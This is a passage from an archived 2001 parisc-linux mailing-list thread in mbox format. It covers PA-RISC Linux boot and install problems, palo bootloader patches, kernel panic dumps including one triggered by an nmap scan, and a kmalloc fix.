Not-handled unaligned insn 0x0cd31200
Unaligned handler failed, ret = -1 <4>rc(17): unaligned access to 0x0007dca9 at ip=0x0005db23
Not-handled unaligned insn 0x0f131200
Unaligned handler failed, ret = -1 
Debian GNU/Linux testing/unstable
pehc base tarball 2001-04-04 see /home/demo/README for more info
bob login: 

Logging in as root or demo (I modified /etc/passwd to empty passwords)
just sits there, until you hit Ctrl-C 3 or 4 times, after which it
returns to the login prompt.

So this is where I'm stuck at the moment. The unaligned stuff also makes
me wonder... perhaps it is unable to execute bash?

What's next?

Regards,

Albert

P.S. There aren't currently any SCSI devices attached, but I doubt that
makes a difference...?

----- End forwarded message -----




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Fri, 21 Sep 2001 12:21:07 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20010921122107.A2168@beavis.ybsoft.com>
References: <20010921104838.A2049@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620499 25860 80.91.229.3 (22 Nov 2014 01:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 12:21:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3ABB482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 12:21:09 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id C2B5CBD74; Fri, 21 Sep 2001 12:21:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20010921104838.A2049@beavis.ybsoft.com>
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12243

Hello parisc-linux hackers,

Rereading the patch, I spotted a bug in the kmalloc *sigh*.

> +	dev->addr = kmalloc(sizeof(unsigned long), num_addrs);

The kmalloc should look like this (I think).
	dev->addr = kmalloc(num_addrs * sizeof(unsigned long), GFP_KERNEL);

- Ryan




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Fri, 21 Sep 2001 19:35:56 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010921193556.A2765@parcelfarce.linux.theplanet.co.uk>
References: <20010921104838.A2049@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620499 25866 80.91.229.3 (22 Nov 2014 01:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 12:36:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1AB3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 12:36:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15kV9Y-0004N4-00; Fri, 21 Sep 2001 19:35:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010921104838.A2049@beavis.ybsoft.com>; from rbradetich@uswest.net on Fri, Sep 21, 2001 at 10:48:38AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12244

On Fri, Sep 21, 2001 at 10:48:38AM -0600, Ryan Bradetich wrote:
> The simplification I made was to remove the HPA from index
> 0 of the addr[] in the parisc_device.  I feel this is redundant
> since the device already records the HPA with the hpa field.
> By not including the HPA, it also saves a kmalloc on every
> parisc device to store the HPA, and an additional kfree/kmalloc
> when the device actually has additional addresses to store.

I haven't had time to review the patch, but I think it's an excellent
idea to remove the duplicate hpa and addr[0] entries.  I was thinking
about doing it myself, but hadn't got round to checking it could be done.

I was also thinking about removing the `hpa' entry completely and using
struct resource to track the area claimed by the device.  I think we
want to do this in any case for the card-mode dino support.  This is a
later step, I think, so don't let this consideration slow you down.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 21:17:33 +0200
Lines: 166
Approved: news@gmane.org
Message-ID: <20010921211733.A5505@middle.of.nowhere>
References: <bdale@gag.com> <87g09gpkac.fsf@rover.gag.com> <200109211731.LAA01939@puffin.external.hp.com>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620500 25868 80.91.229.3 (22 Nov 2014 01:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 13:21:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.127.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26135482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 13:21:03 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp1.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA19813
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 21:21:00 +0200 (CEST)
Original-Received: (qmail 11164 invoked from network); 21 Sep 2001 19:17:35 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 21 Sep 2001 19:17:35 -0000
Original-Received: (qmail 12931 invoked by uid 500); 21 Sep 2001 19:17:33 -0000
Content-Disposition: inline
In-Reply-To: <200109211731.LAA01939@puffin.external.hp.com>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12245

On Fri, Sep 21, 2001 at 11:31:51AM -0600, Grant Grundler wrote:
> Certainly. But we had to start someplace. I'm happy Paul wrote
> *any* documentation - an excellent set of documentation no less
> and packaged the whole mess.
> 
> IMHO, new folks need to get involved for stuff like palo enhancements.
> I'm sure Paul would welcome any patches people cook up.
> 
I guess that means me :-)

This is my current palo output:

jurriaan@pa8200:~$ sudo /sbin/palo
palo version 0.94 bame@c3k Sat Sep  8 12:33:24 MDT 2001
ELF32 executable
Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32    3846   83 ext2
3            3847    7661   83 ext2
4            7662    8678   82 swap
ipl: addr 16384 size 28672 entry 0x0
 ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<2/boot/vmlinux-2.4.9-pa24 root=/dev/sda2 HOME=/>
ipl: addr 16384 size 28672 entry 0x0
 ko 0x44000 ksz 2853588 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<2/boot/vmlinux-2.4.9-pa24 root=/dev/sda2 HOME=/>

Now if I understand correctly, palo must

- warn if there is no f0 partition
- warn if there is no ext2 partition in the first 2 Gb

The first is not that difficult, the relevant patch is here:

===================================================
diff -Br -b -U 3 -N palo/lib/diskpart.c palo-new/lib/diskpart.c
--- palo/lib/diskpart.c Fri Jun 15 12:05:10 2001
+++ palo-new/lib/diskpart.c     Fri Sep 21 22:37:54 2001
@@ -97,6 +97,7 @@
 {
     int i;
     const int mbshift = 20 - 9;
+    int f0_found = 0;

     printf("Partition Start(MB) End(MB) Id Type\n\r");
     for (i = 0; i < maxparts; i++)
@@ -110,6 +111,16 @@
                mptab[i].id == 0x83 ? "ext2" :
                        (mptab[i].id == 0x82 ? "swap" :
                                (mptab[i].id == 0xf0 ? "Palo" : "Unknown")));
+                if ( (mptab[i].id == 0xf0) &&
+                     (1 + ((mptab[i].start + mptab[i].length) >> mbshift) < 2048) )
+                  f0_found = 1;
+    }
+    if (f0_found == 0)
+    {
+        printf("WARNING: You have no partition with type f0 within the first 2 Gb of the disk.\n");
+        printf("palo needs this partition to store the bootloader and optional (recovery)\n");
+        printf("kernel/ramdisk. It's size should be 4 (minimal) to 16 (safe) Mb.\n");
+        printf("Read /usr/share/doc/palo/README for more information.\n");
     }
 }

===================================================

The second problem should probably be something like this:

===================================================
diff -Br -b -U 3 -N palo/palo/palo.c palo-new/palo/palo.c
--- palo/palo/palo.c    Thu Jun 21 12:05:38 2001
+++ palo-new/palo/palo.c        Fri Sep 21 23:14:48 2001
@@ -784,6 +792,20 @@
            }
            if (f0 == MAXPARTS)
                error(11);
+            if (strlen(commandline) > 1)
+            {
+                int bootpart=atoi(commandline);
+                if ((bootpart > 0) && (bootpart < MAXPARTS))
+                {
+                   /* 2^11 = 1048576 / 512 */
+                   if (1+((ptab[bootpart].start + ptab[bootpart].length) >> 11) >= 2048 )
+                   {
+                       printf("Warning: your kernel-image ('%s') is on a partition that isn't entirely below 2 Gb.\n",commandline);
+                       printf("Palo can't read files beyond 2 Gb on older machines. Read /usr/share/doc/palo/README for more informa
tion.\n");
+                   }
+                }
+            }
+
            print_ptab_pretty(ptab, MAXPARTS);

            if (0) printf("F0 partition start sector %d length %d\n",
===================================================

I'd appreciate pointers to improve this.

If this works out, perhaps adding reiserfs support to palo is next?
It works in yaboot (PPC boot-loader), after all.

Good luck,
Jurriaan
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
test.out: unmodified: line 1
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
test.out: unmodified: line 1

-- 
Your face is just a mask you wear,
but masks are hidden faces
	The Oysterband - The road to Santiago
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.00 0.00




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Fri, 21 Sep 2001 21:48:50 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <20010921214850.B5505@middle.of.nowhere>
References: <20010917165501.B17483@gollum.intranet.nimag.net> <20010917203312.A6109@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620500 25873 80.91.229.3 (22 Nov 2014 01:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 13:49:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DD93482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 13:49:12 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA04295
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 21:49:10 +0200 (CEST)
Original-Received: (qmail 16214 invoked from network); 21 Sep 2001 19:48:51 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 21 Sep 2001 19:48:51 -0000
Original-Received: (qmail 20872 invoked by uid 500); 21 Sep 2001 19:48:50 -0000
Content-Disposition: inline
In-Reply-To: <20010917203312.A6109@middle.of.nowhere>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12246

On Mon, Sep 17, 2001 at 08:33:12PM +0200, thunder7@xs4all.nl wrote:
> On Mon, Sep 17, 2001 at 04:55:01PM +0200, Francois Deppierraz wrote:
> > Hi kernel hackers !
> > 
> > My HP 712/60 with a 2.4.9-pa20 kernel crash with the following error
> > message when I portscan it using nmap -O (OS detection).
> > 
> > kswapd[4]: Unaligned data reference 28
> > 
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001001111111000001111
> > r0-3o 00000000 10332810 1028b9e4 0000000a
> > r4-7o 100dfdb2 100ed148 0000000c 100dfd94
> > r8-11o 00000000 00000001 00020000 10ce6500
> > r12-15o 11fb09a0 00004400 00004800 43f02aa9
> > r16-19o 100eca00 00000000 00000c00 00000001
> > r20-23o 00000000 00000109 117ca000 0000000f
> > r24-27o 00000000 100ed148 10ce6500 102f0010
> > r28-31o 117ca160 00000040 100ed400 1012e6d8
> > sr0-3o 00000000 00000002 00000000 00000002
> > sr4-7o 00000000 00000000 00000000 00000000
> > 
> > IASQ: 00000000 00000000 IAOQ: 10281658 1028165c
> >  IIR: 0c801093    ISR: 00000000  IOR: 100dfdb2
> >  CPU:        0   CR30: 100ec000 CR31: 103a0000
> >  ORIG_R28: 00000000
> > Kernel Panic: Aiee, killing interrupt handler!
> > In interrupt handler - not syncing
> > 
Why isn't the code in arch/parisc/kernel/unaligned.c activated for this?
I found some references in the 2001-06 archive to this file, which seems
to work for 64-bits kernels (which I haven't tested) but not for
32-bits.

Can any of the guru's point some newbies in the right direction?
unaligned.c exists, and is pointed to in traps.c, so there must be some
code in it that doesn't work. I can run the test-program that was posted
in 2001-06 just fine.


#include <stdio.h>

struct data_t {
        unsigned long a;
        unsigned long b;
};

int main(int argc, char **argv)
{
        struct data_t data;
        unsigned char *t;
        unsigned long l;
        int i;

        data.a = 0x12345678;
        data.b = 0x87654321;

        t = (unsigned char *)(&data)+1;
        l = *((unsigned long *)t);
        printf("l = 0x%08lx\n\n\n", l);

        printf("expected result is: 0x");
        for (i = 0; i < sizeof(unsigned long); i++)
                printf("%x", *(t+i));
        printf("\n");

        printf("testing store...\n");
        *((unsigned long *)t) = 0x13572468;

        l = *((unsigned long *)t);
        printf("l = 0x%08lx\n", l);

        return 0;
}

And it prints:

jurriaan@pa8200:~$ cc test.c
./a.jurriaan@pa8200:~$ ./a.out
l = 0x34567887
expected result is: 0x34567887
testing store...
l = 0x13572468

which seems to be what is expected.

I can see that in unaligned.c, the part for in-kernel traps is #if 0'ed
out, with a big TODO. What is there TODO?

I'm willing to do stupid work, and test my machine 30 times in a row, if
someone can point me in the right direction?

Thanks,
Jurriaan
-- 
It is a matter of words. In my birth language there are more ifs than
whens, but I must make a choice every time I speak a sentence in English.
I try to choose the happier way of saying things, so that my own words
will not weigh me down like stones.
	!Xabbu in Tad Williams' Otherland
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.00 0.00 0.00




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C360 install fails
Date: Fri, 21 Sep 2001 21:38:01 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20010921213801.K24917@linuxcare.com>
References: <20010921135335.E11577@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620500 25875 80.91.229.3 (22 Nov 2014 01:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 14:39:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 013E0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 14:39:03 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 01DD4B00C; Fri, 21 Sep 2001 21:38:01 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010921135335.E11577@hp.is>; from ra@hp.is on Fri, Sep 21, 2001 at 01:53:35PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:12247

On Fri, Sep 21, 2001 at 01:53:35PM +0000, Richard Allen wrote:
> Im using the 0.9.2 CD.  I have a C360 (512Meg RAM, 9 Gig hard drive) and
> I removed the Graphics card from it and hooked it to a serial console.
> 
> The machine boots just fine into the installer.  I created that f0 partition,
> a small /boot, a swap partition and the remaining disk as /
> 
> After that it makes me select a distro (I select sid as the documentation says)
> then this hits:
> 
>          ++ Please Wait ++         
>          |                                                            |         
>          | Installing Drivers from                                    |         
>          | /instmnt/debian/dists/sid/main/disks-hppa/current/64/drive |         
>          | rs.tgz...                                                  |         

One thing that's wrong there, you need to install the 32 bit kernel and
modules for a C360.  I don't imagine that is the cause of your problem
though.  Although a C360 will run 64 bit, that isn't completely supported
under linux yet.

>                                                                                 
>          ioctl: LOOP_CLR_FD: No such device or address                          
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                            
> PSW: 00000000000001001111111100001100                                           
> r0-3     00000000 101fc000 101a5134 2fe06b60                                    
> r4-7     00000000 00000000 10337010 10318684m Installation                      
> r8-11    10318010 10318010 1030c010 1030c468                                    
> r12-15   10337010 ffffffff 000000fd f0100000                                    
> r16-19   10300580 f0000154 f000014c 0000000e                                    
> r20-23   0000001f 000003e7 101a5c14 00000000                                    
> r24-27   00000000 00000005 ffd05805 1028a010
> r28-31   10335810 00000592 10300a80 101213f8
> sr0-3    00000000 00000065 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 101fc2bc 101fc2c0
>  IIR: 0f40001c    ISR: a607ffff  IOR: 41505805
>  ORIG_R28: 00000000

101fc2b8 T _gsc_readb
101fc2cc T _gsc_readw

101a5118 t serial_in
101a5134 t .L687
101a5160 t .L693
101a5160 t serial_out

So it looks like serial_in() called _gsc_readb(0xffd05805).

On booting, my C360 says

1. Raven U/L2 Dino RS-232 (10) at 0xf2003000, versions 0x6, 0x0, 0x8c, 0x0, 0x0 
3. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000, versions 0x56, 0x0, 0x8c, 0x0, 0x0
...
ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A 
...

So 0xffd05805 looks like a reasonable address for it to try and access.

Does it crash at the same place if you try again?


Richard




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 22:04:27 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20010921220427.L24917@linuxcare.com>
References: <andreas@malcolm.in-chemnitz.de> <200109211603.KAA01633@puffin.external.hp.com> <87g09gpkac.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620501 25881 80.91.229.3 (22 Nov 2014 01:41:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 15:05:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2707482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 15:05:29 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F3FA7B00C; Fri, 21 Sep 2001 22:04:27 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <87g09gpkac.fsf@rover.gag.com>; from bdale@gag.com on Fri, Sep 21, 2001 at 10:42:51AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12248

On Fri, Sep 21, 2001 at 10:42:51AM -0600, Bdale Garbee wrote:
> grundler@puffin.external.hp.com (Grant Grundler) writes:
> 
> > =?iso-8859-1?Q?Andreas_H=E4rtel?= wrote:
> > > It is difficult to understand for a newbie, that PALO needs file system type
> >> 'F0' but this type is unknown by fdisk.
> >> Or the 2. mistake, the partition where vmlinux is located must be lower or
> >> equal 2 GByte.
> >
> > Both issues are documented in the palo documentation.
> 
> Clearly, then, "just" having them documented is insufficient.
> 
> I noted when doing an install from the 0.9.2 CD myself the other day that we
> paint a splash screen before disk partitioning explaining that there needs to
> be a palo partition, but that splash screen doesn't mention the 2G issue.  
> Perhaps it could be updated with some additional text?

Done.  Now says:

  | PALO, the PArisc LOader, requires a partition of type 'f0' on the disk   #  
  | it is loaded from.  Therefore, if this disk will contain the boot        #  
  | loader you must create a partition of type 'f0' of at least 16MB.        #  
  |                                                                          #  
  | A further important restriction is that the partition you load your      #  
  | kernel from must reside within the first 2GB of your disk.  The kernel   #  
  | lives in /boot, so you can either keep your root file system within the  #  
  | first 2GB, or you can create a small partition and mount it as /boot.    #  

> Also, since cfdisk is the default partitioning tool called by the Debian install
> process, if the definition of partition type F0 isn't already part of the 
> list of partition types displayed by cfdisk when you pick the command to change
> the partition type, perhaps it should get added?  It might well be disconcerting

                                  cfdisk 2.11h

                              Disk Drive: /dev/sda
                             Size: 9100044288 bytes
              Heads: 64   Sectors per Track: 32   Cylinders: 8678

    Name        Flags      Part Type  FS Type          [Label]        Size (MB)
 ------------------------------------------------------------------------------
    sda1                    Primary   Linux swap                         135.27 
    sda2                    Primary   Linux/PA-RISC boot                  17.83
    sda3                    Primary   Linux ext2                        1999.64
                            Pri/Log   Free Space                        6946.82


So F0 is recognised as "Linux/PA-RISC boot" now, at least.

Richard





From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C360 install fails
Date: Fri, 21 Sep 2001 22:16:19 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010921221619.M24917@linuxcare.com>
References: <20010921135335.E11577@hp.is> <20010921213801.K24917@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620501 25891 80.91.229.3 (22 Nov 2014 01:41:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 15:17:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5EA8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 15:17:21 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8CD54B00C; Fri, 21 Sep 2001 22:16:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010921213801.K24917@linuxcare.com>; from rhirst@linuxcare.com on Fri, Sep 21, 2001 at 09:38:01PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12249

BTW, I just tried an install using a 2.4.9 kernel from about September
13th.  And it failed while formatting a 2GB partition:


Superblock backups stored on blocks: 
        32768, 98304, 163840, 229376, 294912

Writing inode tables: done
Writing superbKernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping resources.
In interrupt handler - not syncing
locks and filesystem accounting information: 


Hopefully we'll get a fix for that committed before I roll the next
ISO.

Richard





From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot login problems on 720/50
Date: Fri, 21 Sep 2001 18:05:29 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20010921180529.C32145@megatonmonkey.net>
References: <20010921193553.A11874@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620501 25897 80.91.229.3 (22 Nov 2014 01:41:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 16:04:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CD02482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 16:04:26 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8LMPOG02335;
	Fri, 21 Sep 2001 18:25:24 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8LM5T632624;
	Fri, 21 Sep 2001 18:05:29 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010921193553.A11874@dogbert.localdomain>; from fullung@ilink.nis.za on Fri, Sep 21, 2001 at 07:35:53PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (68% Sync Ratio [=======...])
Xref: news.gmane.org gmane.linux.ports.parisc:12250

> Good day,
> 
> This message was also sent to debian-hppa. I was wondering anyone on
> this list had any ideas?
> 
> Regards,
> 
> Albert
> 
> 
> I've managed to boot my 720/50 using Linux 2.4.9-pa20 (not -pa22 as I
> stated in my original post)  over the LAN (with a make palo lifimage),
> using a combination of rbootd (for the lifimage), bootpd (for the IP
> address and such), and the userspace nfs daemon for the
> baseplus-20010404.tar.gz NFS root.
>

The rbootd is good.
The lifimage is good.
The bootp server is good.

The baseplus root tarball is bad.

Coming from a similar situation, I had to manually change the
permissions on the baseplus tarball to get it to work. 
Though I clearly can't remember what else I had to do... it was
quite some time ago. I'm now using apt-get and the latest ISO to
install machines.

Questions:

- Are you using devfs?
- Tried just letting the login prompt sit for a while after attempting
  to login? (Usually the error might come after a _long_ time).

On another note, you should try the cdrom installer, since it's
much better and people have put a lot of work into it.

Cheers,
Carlos. 




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot login problems on 720/50
